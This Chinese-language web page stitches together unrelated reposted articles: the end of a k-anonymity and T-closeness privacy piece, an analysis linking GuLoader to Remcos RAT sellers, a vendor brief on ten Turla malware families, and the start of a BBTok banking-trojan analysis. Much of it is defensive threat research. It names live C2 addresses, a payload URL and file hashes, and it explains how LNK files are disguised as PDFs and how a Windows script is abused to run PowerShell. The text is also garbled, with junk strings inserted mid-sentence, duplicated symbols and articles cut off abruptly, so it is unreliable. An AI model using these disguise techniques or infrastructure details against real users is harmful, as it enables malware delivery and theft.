
序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關2美麗小區*棟*室男20-30穿戴相關3美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關6美麗小區*棟*室男30-40遊戲相關7美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關從例子中可以看出購買偏好（穿戴相關，遊戲相關）在整個數據集中的概率分佈為50%，但是在單個等價類中概率為25%和75%，不滿足T-相近性，需要繼續進行數據調整

序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關這樣可以保證在整個數據集中和每個等價類中的購買偏好的概率相同，用數學來進行表達，如下

图片45.png

假設在看到發布的數據集之前，觀察者對個性敏感屬性的先驗看法（prior belief）為B0B0，給觀察者一個抹去準標識符的數據表，表中敏感屬性的分佈為QQ,根據Q,觀察者的後驗看法（posterior belief) 變為B1 。 B1

根據敏感屬性在整個數據集中的概率分佈調整在等價類中的敏感屬性記錄，得到概率分佈為PP,根據PP,觀察者得到的後驗看法變為B2 。 B2

L-多樣性的目標是減小B0B0和B2之間的差異，而T-相近性的目標是減小B1B1和B2B2之間的差異。

也就是說敏感屬性分佈QQ在數據集中的分佈是公共信息。我們不限制觀察者獲得的關於數據集的信息，但限制觀察者能夠了解關於特定個體的額外信息的程度。

理論上只要發布一個匿名化版本的數據，就會發布一個概率分佈QQ。 發布的數據價值可以用B0B0與B1B1B1之間的差別表示。二者差別越大，表明數據的價值越大。而B1B1B1和B2B2之間的差別，就是我們需要保護的隱私信息，應該被盡可能限制。

直覺上來說，如果P=QP=Q,那麼B1B1B1和B2B2B2應該是相同的。如果PP 和QQ 很接近，那麼B1B1B1和B2B2B2也應該很接近。若一個等價類的敏感屬性取值分佈與整張表中該敏感屬性的取值分佈的距離不超過閾值T，則稱該等價類具有T-相近性。若一個表中所有等價類都有T-相近性，則該表也有T-相近性。

五、文章總結本文介紹了常規化的匿名化技術手段，同時對匿名化步驟進行了說明，詳細解釋了可能會發生的重標識風險，最後介紹了K匿名化技術，以及為了防止K匿名化被攻擊和數據可用性問題，衍生出來的L多樣性和T相近性等技術

K匿名化是基於數據處理的匿名化算法，下篇我們會介紹基於算法的匿名化算法，差分隱私算法。

六、參考文獻马云惹不起马云 Li, N. Li, T. Venkatasubramanian, S. t-closeness: Privacy beyond k-anonymity and l-diversity. In Proceedings of the IEEE International Conference on Data Engineering, Istanbul, Turkey, 15–20 April 2007;

马云惹不起马云 An Introduction to Privacy for Technology Professionals-CIPT官方教程

HireHackking

微信截图_20230930000731.png

惡意軟件經常將自己偽裝成合法工具，最近比較有代表性的例子是Remcos RAT(遠程管理工具)和GuLoader(也稱為CloudEyE Protector)，他們在最流行的惡意軟件排名中佔據榜首位置。

1.png

Remcos和GuLoader在十大惡意軟件中的排名

由於Remcos很容易被殺毒軟件檢測到，因此很難用於攻擊，然而，GuLoader可以用來幫助Remcos繞過殺毒軟件。目前，GuLoader現在在與Remcos相同的平台上以新名稱銷售，並被包裝成為一種加密器，使其有效負載完全無法被檢測到。此外，監督該平台的管理員還管理BreakingSecurity網站，該網站是Remcos RAT和相關Telegram通道的官方網站。有證據表明，銷售Remcos和GuLoader的個人使用Amadey和Formbook等惡意軟件，並使用GuLoader作為預防措施，與Remcos和GuLoader賣家相關的域名和IP地址出現在惡意軟件分析報告中。

Remcos和GuLoader的賣家清楚地意識到他們的工具被攻擊者所利用，儘管他們聲稱自己是無辜的。研究人員最終曝光了負責出售Remcos和GuLoader的個人，揭露了他們的社交網絡，並揭示了通過這些非法活動產生的大量收入。

GuLoader 和Remcos的關係GuLoader於三年多前被發現，其是一個高度保護的基於shellcode的加載器，它採用了許多技術來防止手動和自動分析。此外，在最近的樣本中，通過使用.LNK文件、VBS和PowerShell腳本，利用了來自遠程服務器的代碼片段的多階段加載，這些技術的結合允許GuLoader樣本在VirusTotal上實現零檢測率，並將任何惡意負載傳遞到受害者的計算機上。

2020年，研究人員曝光了一個通過securitycode.eu 銷售CloudEyE的平台，它與GuLoader有關，這迫使創建者暫停運營。在他們的網站上，他們發布了一條消息，稱他們的服務旨在保護知識產權，而不是傳播惡意軟件。

2.png

幾個月後，他們的網站恢復了CloudEyE的銷售，不久之後，研究人員在監測中觀察到新的GuLoader攻擊數量增加，以及新版本的出現。目前，研究人員每天會監控到數十個新的GuLoader樣本。

3.png

過去6個月每天涉及GuLoader的攻擊次數

在之前關於最新版本GuLoader的分析中，研究人員故意省略了CloudEyE和新版本GuLoader之間的任何联系，因為他們觀察到GuLoader在名為“VgoStore”的網站上以另一個名稱“The Protector” 傳播。事實證明，VgoStore與Remcos密切相關。

Remcos是一款著名的遠程監控工具，其營銷目的是為了合法的跟踪和監控。自2016年出現以來，研究人員一直在許多網絡釣魚活動中監測Remcos，除了典型的遠程管理工具功能外，Remcos還包括一些不常見的功能，如中間人(MITM)功能、密碼竊取、跟踪瀏覽器歷史記錄、竊取cookie、密鑰記錄和網絡攝像頭控制。這些功能超出了RAT的典型範圍。

在黑客論壇上的CloudEyE廣告消失後，研究人員開始在互聯網上尋找有關CloudEyE Protector的信息。在谷歌搜索結果的第一頁，研究人員發現了一個Utopia項目網站的鏈接，其中CloudEyE Protector被列在“商家”部分，就在BreakingSecurity (Remcos RAT的官方網站)之後：

4.png

BreakingSecurity和CloudEyE在Utopia網站上的廣告

研究人員還注意到，在2022-2023年，Remcos樣本的數量幾乎佔能夠識別惡意軟件家族的所有成功解密GuLoader有效負載的四分之一。

5.png

確定的GuLoader有效負載

換句話說，在過去的一年裡，Remcos已經成為使用GuLoader傳播的最常見的惡意軟件。如上所述，這不是巧合。

VGO TheProtect——GuLoader的新產品Remcos的營銷和銷售最初是在黑客論壇上進行的，後來在一個名為BreakingSecurity[.]net的專門網站上進行銷售。從2022年開始，人們可以在另一個名為VgoStore[.]net的網站上找到Remcos的銷售，VgoStore在@BreakingSecurity_Group Telegram群中被宣傳為Remcos的官方經銷商，該組織由暱稱為“EMINэM”的版主(用戶名@breakindsecurity， @emin3m， @Break1ngSecurir1ty)運營：

6.png

“EMINэM”在BreakingSecurity Telegram群發布的VgoStore廣告

在VgoStore，除了breakingsecurity的Remcos，你還可以找到一個完整的惡意傳播包和初始訪問工具包，如“Excel 和Doc 漏洞”，LNK漏洞，RDP帳戶，專用DNS，加密器等。這些工具被標記為“教育”。

在這些工具中，研究人員注意到了TheProtect(Private Protect服務)：

7.png

除了@BreakingSecurity_Group Telegram群之外，“EMINэM”還為VgoStore維護了一個名為@VgoStore_Group的Telegram群。在這些群中，每當用戶要求提供加密服務時，“EMINэM”和另一位管理員“VGO”就會推送TheProtect，同樣值得注意的是，在一條消息中，“EMINэM”提到TheProtect是一個幫助Remcos繞過Windows Defender (WD)的工具：

8.png

TheProtect在BreakingSecurity和VgoStore Telegram群中的廣告

與此同時，在BreakingSecurity Telegram群中，管理員似乎試圖與惡意活動保持距離，稱他們只提供了一種將Remcos列入殺毒白名單的方法，而不是繞過保護。與VgoStore群相反，在VgoStore群中，TheProtect被宣傳為提供“運行時FUD”的服務，即在執行樣本時完全無法被殺毒軟件檢測到：

9.png

VGO和“EMINэM”在BreakingSecurity和VgoStore Telegram群中發布的消息

TheProtect有兩種保護方式：Private Protect和Script Protect。

10.png

protect保護方法

根據VgoStore官網顯示，Script Protect提供的文件為VBS文件，而不是EXE文件。

“Private Protect”一詞可能具有誤導性，因為它可能給人一種印象，即每個客戶都收到了一個獨特的工具。然而，在進一步檢查VgoStore的Telegram群和YouTube頻道中的視頻後，很明顯有兩種類型的加密服務可用：一種基於NSIS (Nullsoft Scriptable Install System)，另一種基於VBS (Visual Basic Scripting)。

研究人員懷疑這與最常見的GuLoader變體相似，其中一個是VBS變體，另一個是NSIS變體。

Script Protect是非常昂貴的，在30天內，4個受保護文件的售價為7000美元，對於Script Protect和Private Protect，他們都聲明“研究人員保留最多3天的時間來提供受保護的軟件。”這讓研究人員認為保護過程並不是完全自動化的，這意味著購買者可能不會收到自動生成受保護文件的構建器，就像CloudEyE的情況一樣。

Protect VBS變體正如研究人員之前所寫的，VgoStore會在Telegram群@VgoStore_Group發布產品更新，客戶可以獲得支持。在這個群組中，管理員經常發布演示其產品功能的視頻。

11.png

VgoStore Telegram群

在該組織於2023年3月5日發布的一個視頻中，用戶@VgoStore演示了使用偽裝成PDF的LNK文件進行攻擊。

12.png

在VgoStore Telegram群中發布的視頻

在這個視頻中，研究人員看到點擊LNK文件會導致新的進程“eilowutil.exe”啟動一個與遠程服務器“84.21.172.49：1040”的TCP連接。在啟動LNK文件之前，視頻顯示所有Windows Defender功能都已啟用，並且Windows Defender在整個執行過程中沒有引發任何警報。

視頻提供了被測試樣本的重要細節，使研究人員能夠恢復完整的攻擊鏈。在01：13處，研究人員可以簡單看到process Hacker顯示的powershell.exe進程的命令行，這使研究人員能夠識別本視頻中演示的樣本(SHA256：c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052ff1b746fd73)，並使用行為搜索查詢在VirusTotal上找到它：

13.png

視頻中演示的進程命令行使研究人員能夠在VirusTotal上找到一個相關的樣本

當研究人員下載腳本時，研究人員發現它類似於研究人員在文章《基于云的恶意软件传播：GuLoader的演变》 中描述的GuLoader的VBS變體。與研究人員在上一篇文章中描述的版本的唯一區別是，shellcode以base64編碼的形式嵌入VBScript中，然後放入註冊表中：

14.png

存儲在註冊表中的base64編碼加密數據

VBScript的另一部分包含有兩層混淆的PowerShell腳本。該腳本包含在視頻截圖中觀察到的字符串，用於識別此惡意樣本($Tjringernes=， Diu;DyrFAttuEncnNatcWootLobiLsioReknUnd)：

15.png

部分VBS包含混淆的PowerShell腳本

在去混淆之後，研究人員得到了以下代碼：

16.png

去混淆PowerShell腳本

這段代碼從註冊表加載base64編碼的數據，使用CallWindowProcA API函數解碼並運行它，方法與基於《云的恶意软件传播：GuLoader的演变》 中描述的相同。該代碼的前645個字節沒有被加密，並且包含解密器的代碼，其餘的數據包含加密的shellcode。

研究人員用於自動分析惡意樣本的工具將加密數據識別為GuLoader，並成功解密shellcode，包括GuLoader配置、下載有效負載的URL和有效負載解密密鑰：

17.png

解密後的GuLoader配置

截止發文，URL“hxxp：//194[.180.48.211/nini/EAbsGhbSQL10. html”“Aca”仍然活躍。因此，研究人員能夠下載最終的有效負載(SHA256 7bd663ea34e358050986bde528612039f476f3b315ee169c79359177a8d01e03)，他們使用從GuLoader shellcode中提取的密鑰來解密它。解密後的樣本似乎是Remcos RAT（SHA256 25c45221a9475246e20845430bdd63b513a9a9a73ed447bd7935ff9ecee5a61e）。

18.png

GuLoader攻擊鏈的恢復部分

研究人員從這個Remcos樣本中提取並解密了CC配置，發現它包含一個CC服務器的地址“84.21.172.49:1040”：

19.png

解密後的Remcos CC配置

最後，使用最初找到的GuLoader VBS樣本“Leekish.VBS”的“VirusTotal Relations”選項卡，研究人員還發現了下載該文件的URL：“hxxp://194.180.48.211/nini/Leekish.vbs”。這個地址也在視頻中被披露：

20.png

下載在VirusTotal上找到的初始VBS樣本的URL

視頻（第00:45幀）中展示的另一個有趣的社會工程技巧是操縱LNK文件，攻擊者誤導用戶相信它是PDF文檔。即使用戶懸停在LNK文件上，工具提示也會顯示“Type: PDF Document”；此外，如果用戶雙擊LNK文件，它實際上會打開一個誘餌PDF文件，而惡意進程會在後台靜默運行。

這是通過以下簡單步驟實現的：

1.文件擴展名更改為“.pdf.lnk”，利用默認情況下隱藏的文件擴展名。

2.LNK描述被修改為顯示“PDF文檔”，利用了Windows顯示快捷方式描述字段內容的事實。請注意，工具提示中顯示的大小與實際文件大小不同。工具提示顯示“Size: 7.11Kb”，取自快捷方式的Description字段，而文件大小實際上是3Kb。

3.圖標源已更改為顯示PDF圖標。

4.LNK文件還下載並執行一個誘餌PDF文件。

21.png

偽裝成PDF文檔的LNK文件

研究人員在VirusTotal上發現了一個LNK文件(SHA256：63559daa72c778e9657ca53e2a72deb541cdec3e0d36ecf04d15ddbf3786aea8)，該文件引用了上述URL，並包含完全相同的Description字段：

22.png

解析後的LNK文件

此惡意快捷方式文件利用Windows System32文件夾中存在的合法腳本SyncAppvPublishingServer.vbs的功能來運行任意PowerShell命令。命令行參數包含用於下載和運行惡意腳本“Leekish.vbs”和PDF誘餌的PowerShell命令，msedge.exe文件中的PDF圖標用作快捷方式圖標。

因此，研究人員已經恢復了視頻中展示的完整攻擊鏈，並確定了大部分涉及的文件和組件。視頻中提到的“Script Protect文件”似乎是Remcos RAT，其CC服務器位於“84.21.172.48:1040”。研究人員將保護程序確定為GuLoader的VBS版本：

23.png

VgoStore Telegram群視頻中顯示的完整攻擊鏈

這個攻擊鏈類似於研究人員從GuLoader之前的攻擊中看到的，RedCanary博客中也有描述，這個VBS和LNK樣本特別有趣，因為研究人員在去年(2023年2月)發現了針對註冊會計師和會計師的攻擊。

保護NSIS變體VgoStore還有一個YouTube頻道。 2023年4月12日發布的視頻“Lnk Exploit”與研究人員上面分析的視頻非常相似。演示者下載一個包含LNK文件的文檔並運行此LNK文件。如視頻所示，同時安裝了所有最新的Windows更新，並啟用了安全功能。與前面的情況一樣，如果研究人員在2分11秒處暫停視頻，就可以看到由於運行LNK文件而創建的powershell.exe進程的命令行。

24.png

包含URL的命令行

上面屏幕截圖中的process命令行包含2個URL，截至發文時，這兩個URL都是活動的，這使研究人員能夠下載這些文件。

25.png

其中一個示例是一個誘餌PDF，第二個示例是NSIS安裝程序包

HireHackking

Threat-brief-r3d1.png

Turla（又名Pensive Ursa、Uroburos、Snake）是一個至少從2004年開始運行，總部位於俄羅斯的一個攻擊組織。該組織與俄羅斯聯邦安全局（FSB）有一定聯繫。接下來，我們將在這篇文章中介紹Pensive Ursa工具庫中最近活躍的10種惡意軟件：Capibar、Kazuar、Snake、Kopiluak、QUIETCANARY/Tunnus、Crutch、ComRAT、Carbon、HyperStack和TinyTurla。

MITRE ATTCK稱Turla是以其有針對性的攻擊和隱身而聞名，多年來，Pensive Ursa已經成為一個先進而難以被發現的惡意軟件。

正如MITRE所描述的那樣，Pensive Ursa已對至少45個國家發起過攻擊，包括政府實體、大使館和軍事組織，以及教育、研究和製藥公司。此外，該組織還參與了2022年2月開始的俄烏衝突。據烏克蘭CERT稱，Pensive Ursa利用間諜攻擊烏克蘭目標，特別是針對其國防部門。

雖然Pensive Ursa主要利用他們的間諜工具瞄準Windows設備，但也會攻擊macOS和Linux設備。

以下是該團隊工具庫中最活躍的10種惡意軟件。對於每種類型的惡意軟件，我們都提供了簡短的描述和分析，以及Cortex XDR如何檢測和阻止攻擊。

Capibar別名：DeliveryCheck、GAMEDAY；

惡意軟件類型：後門；

首次發現時間：2022年；

Capibar（又名DeliveryCheck，GAMEDAY）是Pensive Ursa後門，於2022年首次被觀察到，主要用於對烏克蘭國防軍進行間諜活動，通過電子郵件將其作為帶有惡意宏的文檔傳播。

Capibar通過下載並在內存中啟動負載的計劃任務而马云惹不起马云持續存在。攻擊組織將Capibar作為託管對象格式（MOF）文件安裝在受攻擊的MS Exchange服務器上，使攻擊者能夠完全控制服務器。

下圖顯示了負責加載從其命令和控制（C2）接收的XML的代碼片段，圖2顯示了觸發的警報：

1.png

Capibar代碼段加載從其C2接收的XML

2.png

Cortex XDR觸發了警報

Kazuar惡意軟件類型：後門；

首次發現時間：2017年

Kazuar是.NET後門，於2017年被首次發現。 Kazuar提供對其操作人員所針對的受感染系統的全面訪問權限，Kazuar附帶了一個強大的命令集，包括遠程加載額外插件，以增強後門功能的能力。

2021年，研究人員發現，Kazuar和俄羅斯攻擊組織在SolarWinds行動中使用的SUNBURST後門之間存在有趣的代碼重疊和相似之處。 2023年7月，烏克蘭CERT破獲了一次間諜行動，Pensive Ursa則是將Kazuar作為主要後門之一。

下圖顯示了Cortex XDR阻止將Kazuar DLL注入explorer.exe進程，下圖顯示為防止Kazuar而觸發的警報：

3.png

Kazuar被注入explorer.exe並被Cortex XDR阻止

4.png

Cortex XDR的Kazuar執行阻止警報

Snake惡意軟件類型：模塊化後門；

首次被發現時間：2003年；

正如CISA在2023年5月描述的那樣，臭名昭著的Snake惡意軟件是Pensive Ursa工具集中最複雜的工具。該工具的主要目的是實現相當長一段時間的持久性，並從專用目標中盜取數據。自2003年以來，它已經發展了20年。

Snake在全球50多個國家被發現，美國司法部發表聲明，宣布了MEDUSA行動。在該行動中，他們查獲了Snake惡意軟件活動和P2P網絡。他們使用了聯邦調查局開發的一種名為PERSEUS的工具，將其用作Snake惡意軟件的阻止攻擊。

基於先前的分析，Snake惡意軟件實現了可維護的代碼設計，這表明其開發者俱有較高的軟件開發功能。

Snake實現了以下功能：

基於HTTP和TCP的通信協議的自定義實現；

用於隱身的內核模塊；

按鍵記錄儀功能；

Snake最近的變種包括一個類似於下面描述的感染鏈。

Snake惡意軟件傳播示例執行時，Snake從其資源中加載並執行Pensive Ursa的PNG Dropper惡意軟件，並創建一個硬編碼互斥體{E9B1E207-B513-4cfc-86BE-6D6004E5CB9C，如下圖所示：

5.png

Snake loader的資源

然後，PNG釋放器解碼並加載一個易受攻擊的VM驅動程序，該驅動程序用於權限提升，以便將主Snake負載寫入磁盤，並將其註冊為服務。下圖所示的Snake加載程序變體檢測感染鏈中的多個階段，這些階段導致部署、服務註冊和執行Snake主負載。

下圖顯示了Cortex XDR中彈出的執行阻止警報：

6.png

檢測模式下Cortex XDR中顯示的Snake執行檢測

7.png

Cortex XDR中顯示的Snake執行阻止警報

QUIETCANARY別名：Tunnus；

惡意軟件類型：後門；

首次發現時間：2017；

自2019年以來，人們一直在使用QUIETCANRY觀察Pensive Ursa，Tomiris組織甚至更早地使用了這個後門。

Pensive Ursa於2022年9月便針對烏克蘭的目標部署了QUIETCANARY，以及Kopiluwak惡意軟件。

QUIETCANRY是一個用.NET編寫的輕量級後門，能夠執行從其C2服務器接收的各種命令，包括下載額外的有效負載和執行任意命令。它還實現了RC4加密，以保護其C2通信。

下圖顯示了QUIETCANRY後門功能的不同類，展示了QUIETCANRY觸發的基於Cortex XDR多層保護的警報：

8.png

QUIETCANRY代碼中不同類的代碼段

下圖顯示了執行阻止警報：

9.png

在Cortex XDR中顯示了QUIETCANRY的警報

10.png

Cortex XDR中顯示的QUIETCANARY/Tunnus執行阻止警報

Kopiluwak惡意軟件類型：傳播器/下載器；

首次發現時間：2016年；

Kopiluwak惡意軟件於2016年底被首次發現，它是由各種類型的滴管作為多層JavaScript而進行有效負載傳播的。

Pensive Ursa在2017年的一次G20主題攻勢中使用MSIL滴管釋放了Kopiluak惡意軟件，並在2022年末作為SFX可執行文件釋放。

Kopiluwak的JavaScript文件如下圖所示，下面是C:\Windows\Temp\ path下的代碼片段。其目的是收集有關受攻擊計算機的有價值的初始分析信息，例如：

在目標位置列出文件；

檢索當前運行的進程；

顯示活動的網絡連接；

攻擊者通過運行systeminfo、tasklist、net、ipconfig和dir等偵察命令來完成此活動，結果保存在名為result2.dat的文件中。

11.png

在檢測模式下，在Cortex XDR中顯示Kopiluwak執行檢測

下圖列出了由Kopiluwak執行，並由Cortex XDR檢測到的偵察命令：

12.png

Kopiluwak的偵察命令

下圖顯示了Cortex XDR為Kopiluwak發出執行阻止警報：

13.png

Cortex XDR中顯示的Kopiluak執行阻止警報

2019年，Pensive Ursa開始使用Topinambour滴管遞送Kopiluak。該組織將Topinambour捆綁到一個合法的軟件安裝程序中。

安裝後，Topinambour作為一個小的.NET文件被放到%localappdata%文件夾中，並作為一個計劃任務寫入。然後，該惡意軟件與其硬編碼的C2虛擬專用服務器（VPS）通信，以傳遞Kopiluwak惡意軟件。

14.png

Cortex XDR在檢測模式下顯示Topinambour執行檢測

下圖顯示了Cortex XDR彈出的阻止警報：

15.png

Cortex XDR中顯示的Topinambour執行阻止警報

Crutch惡意軟件類型：後門；

首次發現時間：2015年；

2020年12月，ESET研究人員發現了Crutch後門。根據Pensive Ursa的戰術、技術和程序（TTP），攻擊者利用後門攻擊了歐洲的幾個目標，包括一個歐盟成員國的外交部。

這個後門的主要目的是竊取敏感文件，並將數據洩露到Pensive Ursa運營商控制的Dropbox帳戶。使用Dropbox等商業服務進行C2通信是一種已知的（但有效的）技術，因為它是一種合法的服務，並與其他網絡通信相融合。

由於代碼和TTP與Pensive Ursa的另一個名為Gazer的後門有很大的相似性，Crutch被認為是第二階段的後門，其持久性是通過DLL劫持實現的。

下圖顯示了Cortex XDR中Crutch的檢測和阻止：

ComRAT別名：Agent.btz；

惡意軟件類型：後門；

首次出現時間：2007年

18.png

PowerShell滴管在檢測模式下將ComRAT釋放到Cortex XDR中顯示的磁盤

ComRAT是Pensive Ursa最古老的後門之一，他們在惡意軟件的早期迭代中將其命名為Agent.btz。

據報導，ComRAT於2007年首次被發現。從那時起，它進行了多次升級，截至2020年，ComRAT已經迭代了4版。此攻擊是在C++中開發的，攻擊者已使用PowerShell植入（如PowerStalion）進行部署。

下圖顯示了PowerShell滴管機制。攻擊者在使用ComRAT時的主要目的是從高價值目標那裡竊取和洩露機密文件：

19.png

Cortex XDR中顯示ComRAT PowerShell滴管執行阻止警報

下圖描述了Cortex XDR中的PowerShell和DLL執行阻止：

20.png

Cortex XDR中顯示的ComRAT DLL執行阻止警報

Carbon惡意軟件類型：後門；

首次發現時間：2014年

Carbon是一個模塊化後門框架，Pensive Ursa已經使用了幾年。 Carbon框架包括一個安裝程序、一個協調器組件、一個通信模塊和一個配置文件。

Carbon還具有P2P通信功能，攻擊者使用該功能向受網絡上影響的其他受感染設備發送命令。 Carbon通過使用Pastebin等合法網絡服務提供商接收C2的命令。

下圖顯示了Carbon在Cortex XDR中的執行檢測和阻止：

21.png

Carbon創建了一個加載附加組件的服務，該服務在檢測模式下顯示在Cortex XDR中

22.png

Cortex XDR中顯示的Carbon執行阻止警報

HyperStack惡意軟件類型：後門；

首次亮相：2018年；

HyperStack（又名SilentMo，BigBoss）是一個RPC後門，於2018年首次被發現，攻擊者在針對歐洲政府實體的行動中使用了它。 HyperStack使用一個控制器進行操作，該控制器使用命名管道通過RPC與受HyperStack感染的受攻擊環境中的其他計算機進行通信。此通信方法使攻擊者能夠控製本地網絡上的計算機。

HyperStack顯示了與Pensive Ursa的Carbon後門的幾個相似之處，如加密方案、配置文件格式和日誌記錄約定。

下圖顯示了HyperStack在Cortex XDR中的檢測和阻止：

23.png

HyperStack創建了一個用於持久性的服務，在檢測模式下顯示在Cortex XDR中

24.png

Cortex XDR中顯示HyperStack執行阻止警報

TinyTurla惡意軟件類型：後門；

首次發現時間：2021年；

TinyTurla惡意軟件於2021年被Talos首次發現，他們認為這是第二階段的後門。美國、歐盟和後來的亞洲目標都發現了這種後門。

TinyTurla的主要功能包括：

下載其他有效負載；

向攻擊者的C2服務器上傳文件；

執行其他進程；

如下圖所示，攻擊者通過批處理腳本將後門安裝為名為WindowsTimeService的服務。批處理腳本還負責將C2服務器的數據寫入註冊表。一旦後門被執行，它讀取這些值將與其C2通信。

它偽裝成一個名為w64time.DLL的DLL，位於system32文件夾下。

25.png

上面描述的批處理腳本的內容

雖然w32time.dll是一個合法的DLL，而且其他合法的DLL確實有32位和64位的變體，但是合法的w64time.dll並不存在。這種命名慣例旨在進一步分散受害者的注意力，使他們不產生懷疑。

下圖顯示了Cortex XDR檢測批處理腳本、W64Time服務和TinyTurla DLL執行的編寫和執行：

26.png

Cortex XDR在檢測模式下顯示TinyTurla阻止

27.png

Cortex XDR中顯示TinyTurla執行阻止警報

戰術、技術和程序(TTP)Cortex XDR警報被映射到MITRE ATTCK框架，並提供與攻擊相關的戰術和技術信息，如下圖所示：

28.png

Cortex XDR的Mitre ATTCK映射

Pensive Ursa相關活動和工具庫在Cortex XDR中引發了多個警報，這些警報被映射到表1中引用的MITRE ATTCK戰術和技術。

29.2.png

MITRE ATTCK戰術和技術

總結眾所周知，Pensive Ursa高級持續攻擊（APT）組織是一個重要且持續存在的攻擊組織。憑藉其先進的技術，其運營組織在針對全球行業的同時，也向大眾展示了一種先進的規避方式。

我們在本文探索了Pensive Ursa工具庫中排名前十的惡意軟件，並通過Palo Alto Networks Cortex XDR監測了其執行過程。這表明針對先進攻擊使用多層保護模式的重要性。

因為Pensive Ursa APT攻擊的受害者可能會造成重大損失，其後果不僅限於財務損失和數據洩露，還包括影響關鍵基礎設施的可能性，這可能會對國家安全和地緣政治產生影響。因此，每個組織，無論其規模或行業如何，都必須優先考慮全面的安全戰略，並投資多層安全措施，以防範Pensive Ursa等APT組織日益增長的攻擊。

保護和緩解措施Palo Alto Networks Cortex X

HireHackking

微信截图_20230923224318.png

Check Point Research研究人員最近在拉丁美洲發現了一個活躍活動，該活動正在操作和部署BBTok銀行軟件的新變體。在這項研究中，我們會介紹新發現的攻擊鏈，這些攻擊鏈使用了一種獨特的Living off the land Binaries組合，所以，儘管BBTok銀行軟件至少從2020年開始活躍，但時至今日，被檢測到的概率還是很低。在分析該活動時，研究人員發現了一些攻擊者在攻擊中使用的服務器端資源，目標是巴西和墨西哥的數百名用戶。

服務器端組件負責提供可能通過網絡釣魚鏈接傳播的惡意有效負載。我們已經觀察到相同的服務器端腳本和配置文件的多次迭代，這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時間的推移而演變的過程。這我們得以一窺攻擊者尚未實現的攻擊媒介，並追踪用於維持此類操作的源代碼的起源。

我們將在本文重點介紹用於傳播銀行軟件的有效負載服務器的一些服務器端功能，它們可以為每個受害者產生獨特的有效負載。

發現過程BBTok異常活躍，針對巴西和墨西哥的用戶，採用多層地理圍欄來確保受攻擊的設備僅來自這些國家。

自2020年BBTok最後一次公開報導以來，運營商的技術、戰術和程序(TTPs)發生了重大變化，增加了額外的混淆層和下載器，從而使檢測率降到最低。

BBTok銀行有一個專門的功能，可以復制40多家墨西哥和巴西銀行的界面，並欺騙受害者將其雙重身份驗證代碼輸入他們的銀行賬戶或輸入他們的支付卡號。

新識別的有效負載是由自定義服務器端應用程序生成的，該應用程序負責根據操作系統和位置為每個受害者生成唯一的有效負載。

對有效負載服務器端代碼的分析顯示，攻擊者正在積極維護不同版本Windows的多樣化攻擊鏈，這些鏈使用各種各樣的文件類型，包括ISO, ZIP, LNK, DOCX, JS和XLL。

攻擊者在他們的武器庫中添加開源代碼、來自黑客論壇的代碼和新的漏洞（例如Follina）。

BBTok銀行軟件歷史BBTok銀行軟件於2020年首次被披露，通過無文件攻擊部署在拉丁美洲。其功能非常齊全，包括枚舉和終止進程、鍵盤和鼠標控制以及操作剪貼板內容。除此之外，BBTok還包含經典的銀行木馬功能，模擬在墨西哥和巴西運營的各種銀行的虛假登錄頁面。

自從首次被公開披露以來，BBTok運營商已經採用了新的https，同時仍然主要利用帶有附件的網絡釣魚電子郵件進行初始攻擊。最近，我們看到了銀行軟件通過網絡釣魚鏈接傳播的跡象，而不是作為電子郵件本身的附件。

在訪問惡意鏈接時，會將ISO或ZIP文件下載到受害者的計算機上，這些文件包含一個啟動攻擊鏈的LNK文件，在打開一個誘餌文件的同時，導致銀行軟件的部署。雖然乍一看，這個過程似乎很簡單，但幕後操作非常複雜。

在分析這些新發現的鏈接時，研究人員發現了用於傳播惡意軟件的內部服務器端資源。很明顯，攻擊者保持了廣泛的攻擊鏈，每次點擊都根據需要生成，並根據受害者的操作系統和位置進行定制。

BBTok銀行攻擊BBTok為其運營商提供了廣泛的功能，從遠程命令到經典的銀行木馬功能，BBTok可以復制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行，如花旗銀行、豐業銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項卡的名稱，搜索銀行名稱，來尋找受害者是這些銀行客戶的跡象。

其默認目標顯然是西班牙對外銀行(BBVA)，其默認的虛假界面旨在復制其外觀。這些虛假的界面冒充合法機構，誘使毫無戒心的用戶洩露個人和財務信息，該功能的重點是誘騙受害者輸入作為銀行賬戶密碼，並接管受害者的銀行賬戶。

1.png

嵌入BBTok 銀行軟件中的虛假接口示例

BBTok是用Delphi編寫的，它使用可視化組件庫(VCL)來創建表單，毫不誇張地說，這些表單形成了這些虛假的界面，這使得攻擊者可以動態、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會引起懷疑。作為銀行軟件的默認目標銀行，西班牙對外銀行(BBVA)將其接口存儲在一個名為“TFRMBG”的表單中，除了銀行網站，攻擊者也開始在受攻擊的設備上搜索有關比特幣的信息，積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。

除此之外，BBTok還可以安裝惡意瀏覽器擴展或註入名為“rpp.dll”的DLL來進一步控制受攻擊的系統，並可能提高其欺騙受害者的能力。

值得注意的是，該攻擊者採取了謹慎的方式所有的銀行活動都是在其C2服務器的直接命令下執行的，而不是在每個受攻擊的系統上自動執行。

負載服務器分析為了有效管理他們的活動，BBTok運營商創建了一個獨特的流程，由受害者點擊惡意鏈接啟動，該鏈接可能是通過釣魚電子郵件發送的。當受害者點擊鏈接時，會根據受害者的操作系統下載ZIP文件或ISO映像。這個過程對受害者來說是無感的，但服務器會根據請求中找到的參數生成唯一的有效負載。

2.png

BBTok攻擊中使用的服務器端組件

此過程在基於xampp的服務器上執行，包含三個基本組件：

一個PowerShell腳本，用於處理有效負載準備，並包含創建lure文檔的主要邏輯；

一個PHP代碼庫和數據庫，用於記錄和管理攻擊；

增強這些組件功能的輔助實用程序。

具體流程如下：

受害者向/baxar、/descargar或/descarga執行HTTP請求（這些路徑表明誘餌是西班牙語或葡萄牙語）；

基於.htaccess文件，服務器使用descarga.php處理請求；

腳本利用文件db.php通過SQLite數據庫存儲有關請求的信息，包括受害者的信息；

